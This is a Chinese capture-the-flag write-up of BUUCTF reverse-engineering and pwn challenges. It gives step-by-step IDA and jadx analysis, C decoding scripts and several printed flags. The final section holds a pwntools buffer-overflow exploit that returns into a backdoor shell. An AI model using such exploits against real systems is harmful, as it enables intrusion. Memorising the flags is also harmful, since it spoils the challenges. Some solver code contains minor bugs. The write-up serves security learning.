BUUCTF刷题记录 题目链接
Reverse easyre 1.先下载IDA 2.用IDA打开exe 3.用shift+F12,查看字符串(不了解IDA快捷的可以先了解一下IDA的快捷键) 4.可以看到如下:
reverse1 1.用IDA打开exe 2.用shift+F12,查看字符串
3.双击进入
4.用x键查看字符串所在的函数
5.双击击进去
6.用快捷键F5将其反编译代码的形式
7.我们现在对代码进行分析(鼠标右键点击Edit comment可以添加注释,R键转换成字符串,H键转换成10 进制)
8.我们双击str2,进入汇编见面
reverse2 1.用IDA打开exe 2.用shift+F12,查看字符串
可以看到flag的后半部分,双击right flag进入汇编界面,依旧re1的操作进入到反编译的界面(或者你可以直接找main函数,一般关键信息都在main函数里)
3.进行分析
很明显就是把flag中的i和r换成了1;
4.先双击flag
其实初始的flag已经出来了,替换一下
内涵的软件 1.先运行一下exe
再enter后就退出了
2.用IDA 打开 3.shift+F12,查找字符串
1 flag{49d3c93df25caad81232130f3d2ebfad}
新年快乐 1.先运行exe
输入任何东西都会闪退 2.用IDA分析(在这里说明一下IDA有32和64 位,可以用ExeinfoPe查看,不过ExeinfoPe的主要功能是查看壳)
可以看到upx的壳 3.用ExeinfoPe查壳
可以看到32位用,有upx,用upx工具脱壳 4.用upx工具脱壳
5.再将脱壳后的exe放入IDA
恢复正常
6.还是先shift+F12,找关键字符串
看到关键字符串‘this is true flag!’,双击进入,按同样的步骤找到反编译后的代码
进行分析
xor 1.先用IDA打开
2.找到关键词,按相同步骤找到函数并进行分析
3.先双击global进入汇编界面
4.在双击划红线的部分,找到加密后的密文
在密文上使用shift+E提取密文,再将其转到16进制的形式(既选择hex)
补充:异或的知识 a^b = c 如果想的到a或b ,可以b=a^c,a=b^c; 5.最后编写代码解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include<stdio.h> #include<stdlib.h> int main(){ int i; char b[] = { 0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F, 0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 0x47, 0x32, 0x4F }; for ( i = 32; i > 0; --i ){ b[i] ^= b[i - 1]; } printf("%s",b); return 0; }
1 flag{QianQiuWanDai_YiTongJiangHu}
reverse3 1.先运行一下exe
还是输入enter就退出了
猜测肯定与base64 加密有关,双击right flag,进入汇编界面,同样步骤进入反编译后的界面,进行分析。
1先进入sub_4110BE
2整体分析完毕
2.双击str2,进入汇编界面查找str2的字符串
3.先用脚本偏移回来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include<stdio.h> #include<stdlib.h> #include<string.h> int main(){ int i; char b[] ="e3nifIH9b_C@n@dH" ; int j; j=strlen(b); for ( i = 0; i <j ; i++ ){ b[i] -= i; } printf("%s",b); return 0; }
4.再用在线base64解码
helloworld 1.下载文件发现是apk文件(一般apk都是用jadx 打开) 2.先用jadx打开(注:一般主要的内容都在MainActivity中) 3.进入MainActivity可以看到:
1 flag{7631a988259a00816deda84afb29430a}
不一样的flag 1.先运行exe,看到:
2.由上下左右的信息,可以猜测是个迷宫题 3.再用IDA打开
这里补充一点经验,一般迷宫都是方形的。 4.3.按原步骤找到主函数,并进行分析
5.构造迷宫:
1 2 3 4 5 * 1 1 1 1 0 1 0 0 0 0 1 0 1 0 0 0 0 1 0 1 1 1 1 #
明显是:下下下右右上上右右下下下(222441144222)
SimpleRev 1.打开IDA 2.按原步骤找到主函数,并分析:
可以找到关键函数
3.解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include<stdio.h> #include<stdlib.h> #include<string.h> int main(){ char key3[10]="killshadow"; //ADSFKNDCLS转成小写 char key[10]="adsfkndcls"; char flag[10]; int i,j; for(i=0;i<10;i++){ for(j=64;j<=90;j++){ //key3=text;如果想要成功满足str2=text; if(key3[i]==(j-39-key[i%10]+97)%26+97){ flag[i]=j; } } } printf("flag{%s}",flag); return 0; }
luck_guy 1.先用虚拟机运行一下:
没什么线索。 2.再用IDA打开,shift+F12:
3.按原步骤找到反编译的原函数,并进行分析
进入如关键函数
进入get_flag
双击f1进入,汇编界面
得到flag的第一部分 编代码得到第二部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> int main() { char f2[7]={'i','c','u','g','`','o','f',0x7F};//小端序转化 int i,j; for(j=0;j<=7;j++){ if(j%2==1){ f2[j]-= 2; } else{ --f2[j]; } } printf("%s\n",f2); return 0; }
运行后得到
拼接一下
java逆向解密 1.java一般是先xxx.java文件,经过javac.exe编译后的到xxx.class文件,java的反编译可以用jd-gui(纯反编译java)后jadx(因为apk大多数都是用java写的)打开
2.下载附件看到xxx.class,可以知道要用java反编译的工具,以上两种都可以。
3.思路很明显了,将key先和32异或再-@。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include<string.h> #include<stdlib.h> int main() { char KEY[] = {180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65}; int j; int lenght=strlen(KEY); char flag[lenght-2]; for(j=0;j<lenght;j++){ flag[j]=(KEY[j]^32)-'@'; } printf("%s\n",flag); return 0; }
1 flag{This_is_the_flag_!}
JustRE 1.先运行exe 2.猜测可能是点击很多次次才能出来,这里我没有试,但是我在这里附上一个鼠标自动点击脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import pyautogui import time # 等待10秒 time.sleep(3) # 设置点击次数 clicks = 100 interval = 1 # 两次点击之间的间隔时间(秒) print("开始点击...") for i in range(clicks): pyautogui.click() # 默认情况下点击左键 time.sleep(interval) # 等待指定的间隔时间 print("完成点击")
3.我是直接用IDA打开 shift+F12查找字符串 可以找到flag
1 flag{%d%d2069a45792d233ac}
刮开有奖 1.先运行一下exe 我试了一下发现刮不动 2.用IDA打开 猜测跟base加解密有关 分析完毕,这里是纯手算的。这里给一个模拟排序函数的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #include <stdio.h> #include<string.h> #include<stdlib.h> int sub_A510F0(char* a1, int a2, int a3) { int result; // eax int i; // esi int v5; // ecx int v6; // edx result = a3; for ( i = a2; i <= a3; a2 = i ) { v5 =i; v6 =a1[i]; if ( a2 < result && i < result ) { do { if ( v6 > a1[result] ) { if ( i >= result ) break; ++i; a1[v5] = a1[result]; if ( i >= result ) break; while ( a1[i] <= v6 ) { if ( ++i >= result ) goto LABEL_13; } if ( i >= result ) break; v5 = i; a1[result] = a1[i]; } --result; } while ( i < result ); } LABEL_13: a1[result]= v6; sub_A510F0(a1, a2, i - 1); result = a3; ++i; } return result; } int main() { char str[]="ZJSECaNH3ng"; sub_A510F0(str,0,10); printf("%s",str); return 0; }
疑难解答: *(_DWORD *)(a1 + 4 * result) = *(_DWORD )(4 * i + a1)<=>a1[result]=a1[i],int占四个字节,所以需要 4.如果是char类型,就不需要(从大佬的博客里看的)。
easyre1 1.直接放入IDA发现有壳与新年快乐 同理去脱壳 2.脱壳后安原步骤找到main函数,并分析
3.现在只要编脚本得到v5就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> #include<string.h> #include<stdlib.h> int main() { char v5[11]; int num[11]; char v4[]="*F'\"N,\"(I?+@"; char str[]="~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$# !\""; int i,j; for ( i = 0; i <= 11; ++i ) { for(j=0;j<strlen(str);j++){ if(v4[i]==str[j]){ num[i]=j; } } } for(i=0;i<=11;i++){ v5[i]=num[i]+1; } printf("%s",v5); return 0; }
简单注册器 1.发现是apk文件用jadx打开 2.还是找到 MainActivity和在IDA中找到main一个意思 3.
4.编个脚本模拟它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include<string.h> #include<stdlib.h> int main() { char x[]="dd2940c04462b4dd7c450528835cca15"; char a ; int i; x[2]= x[2]+x[3]-50; x[4]=x[2]+x[5]-48; x[30]=x[31]+x[9]-48; x[14]=x[27]+x[28]-91; for(i=0;i<16;i++){ a = x[31-i]; x[31 - i] = x[i]; x[i] = a; } printf("flag{%s}",x); return 0; }
1 flag{59acc538825054c7dk4b26440c0999dd}
pyre 1.pyc文件可以用在线pyc的反编译软件py反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 2.7 print 'Welcome to Re World!' #欢迎 print 'Your input1 is your flag~' l = len(input1) #input1就是flag for i in range(l): num = ((input1[i] + i) % 128 + 128) % 128 code += num for i in range(l - 1): code[i] = code[i] ^ code[i + 1] #进行加密 print code code = [ '\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']#加密后的结果
反编译后的结果(加注释后)
2.用脚本进行解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdio.h> #include<string.h> #include<stdlib.h> int main() { int i,j; char code[] = {0x1f,0x12,0x1d,'(','0','4',0x01,0x06,0x14,'4',',',0x1b,'U','?','o','6','*',':',0x01,'D',';','%',0x13}; int lenght=strlen(code)-1; char input1[strlen(code)]; char num[strlen(code)]; for(i=lenght-1;i>=0;i--){ code[i] = code[i] ^ code[i + 1]; } for(i=lenght;i>=0;i--){ num[i]= code[i]; for(j=0;j<10;j++){ input1[i]=num[i]-i+128*j; if(input1[i]>=0&&input1[i]<=128){ break; } } } printf("%s\n",input1); return 0; }
findit 1.apk文件,跟前面的apk题一样找到主要函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package com.example.findit; import android.os.Bundle; import android.support.v7.app.ActionBarActivity; import android.view.MenuItem; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; /* loaded from: classes.dex */ public class MainActivity extends ActionBarActivity { /* JADX INFO: Access modifiers changed from: protected */ @Override // android.support.v7.app.ActionBarActivity, android.support.v4.app.FragmentActivity, android.app.Activity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button btn = (Button) findViewById(R.id.widget3); final EditText edit = (EditText) findViewById(R.id.widget2); final TextView text = (TextView) findViewById(R.id.widget1); final char[] a = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'}; final char[] b = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'}; btn.setOnClickListener(new View.OnClickListener() { // from class: com.example.findit.MainActivity.1 @Override // android.view.View.OnClickListener public void onClick(View v) { char[] x = new char[17]; char[] y = new char[38]; for (int i = 0; i < 17; i++) { if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) { x[i] = (char) (a[i] + 18); } else if ((a[i] >= 'A' && a[i] <= 'Z') || (a[i] >= 'a' && a[i] <= 'z')) { x[i] = (char) (a[i] - '\b'); } else { x[i] = a[i]; } } String m = String.valueOf(x); if (m.equals(edit.getText().toString())) { for (int i2 = 0; i2 < 38; i2++) { if ((b[i2] >= 'A' && b[i2] <= 'Z') || (b[i2] >= 'a' && b[i2] <= 'z')) { y[i2] = (char) (b[i2] + 16); if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') { y[i2] = (char) (y[i2] - 26); } } else { y[i2] = b[i2]; } } String n = String.valueOf(y); text.setText(n); return; } text.setText("答案错了肿么办。。。不给你又不好意思。。。哎呀好纠结啊~~~"); } }); } @Override // android.app.Activity public boolean onOptionsItemSelected(MenuItem item) { int id = item.getItemId(); if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } }
2.模拟一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <stdio.h> #include<string.h> #include<stdlib.h> int main() { char a[] = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'}; char b[] = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'}; int x[17]; int y[38]; int i; int i2 ; for (i = 0; i < 17; i++) { if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) { x[i] = a[i] + 18; } else if ((a[i] >= 'A' && a[i] <= 'Z') || (a[i] >= 'a' && a[i] <= 'z')) { x[i] = a[i] - '\b'; } else { x[i] = a[i]; } } for (i2 = 0; i2 < 38; i2++) { if ((b[i2] >= 'A' && b[i2] <= 'Z') || (b[i2] >= 'a' && b[i2] <= 'z')) { y[i2] = b[i2] + 16; if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') { y[i2] = y[i2] - 26; } } else { y[i2] = b[i2]; } } for(i = 0; i < 17; i++){ printf("%c", (char)x[i]); } printf("\n"); for(i = 0; i < 38; i++){ printf("%c", (char)y[i]); } return 0; }
1 flag{c164675262033b4c49bdf7f9cda28a75}
Pwn test_your_nc 1.就是测试一下你的nc
1 nc +靶机地址 (在linxs中ip与端口间没有冒号)
2.pwn题一般都是动态地址,所以每次的flag都是不一样的
rip 1.先进行一波常规操作
2.再用IDA打开shift+F12直接可以查看后门
找到后门的地址 3.找到main函数
4.我们要考栈溢出一直覆盖到后门(shell),看看要覆盖多少;
5.在查看system函数的地址
6.构造exp
1 2 3 4 5 6 7 8 from pwn import* r = process("./pwn") #r=remote("ip",端口) shell=0x0401040 sys=0x00401187 payload=b'a'*0x0F+b'b'*8+p64(sys)+p64(shell) r.sendline(payload) r.interactive()
本地成功换成远程